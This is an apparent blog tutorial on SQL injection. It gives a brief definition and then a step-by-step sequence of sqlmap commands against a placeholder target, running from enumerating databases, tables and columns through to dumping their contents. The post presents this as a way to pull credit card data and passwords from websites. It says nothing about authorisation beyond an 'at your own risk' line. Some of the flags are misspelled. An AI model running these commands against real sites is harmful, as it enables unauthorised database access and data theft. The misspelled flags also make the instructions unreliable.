SQL Injection with Backtrack 5 Tutorial
1. What is SQL Injection ?
-An SQL injection is often used to attack the security of a website by inputting SQL statements in a web form to get a poorly designed website to perform operations on the database (often to dump the database content to the attacker) other than the usual operations as intended by the designer. SQL injection is a code injection technique that exploits a security vulnerability in a website's software. The vulnerability happens when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typedand unexpectedly executed. SQL commands are thus injected from the web form into the database of an application (like queries) to change the database content or dump the database information like credit card or passwords to the attacker. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.
In operational environments, it has been noted that applications experience, on average, 71 attempts an hour.[1] When under direct attack, some applications occasionally came under aggressive attacks and at their peak, were attacked 800–1300 times per hour
2. How To use SQL on Backtrack 5 Revolution ?
1. Open Terminal and go to sqlmap Dir:
- cd /pentest/web/scanners/sqlmap/
2. To use it type :
-python sqlmap.py -u http://Target.com/index.php?id=1 --dbs ( For database )
-python sqlmap.py -u http://Target.com/index.php?id=1 -D (databasename) --table
-python sqlmap.py -u http://Target.com/index.php?id=1 -D (databasename) -T (tablename) --colum
-python sqlmap.py -u http://Target.com/index.php?id=1 -D (databasename) -T (tablename) -C (columname) --dump
3. Remember :-
If you decide on this course of action you do so entirely at your own risk
Post a Comment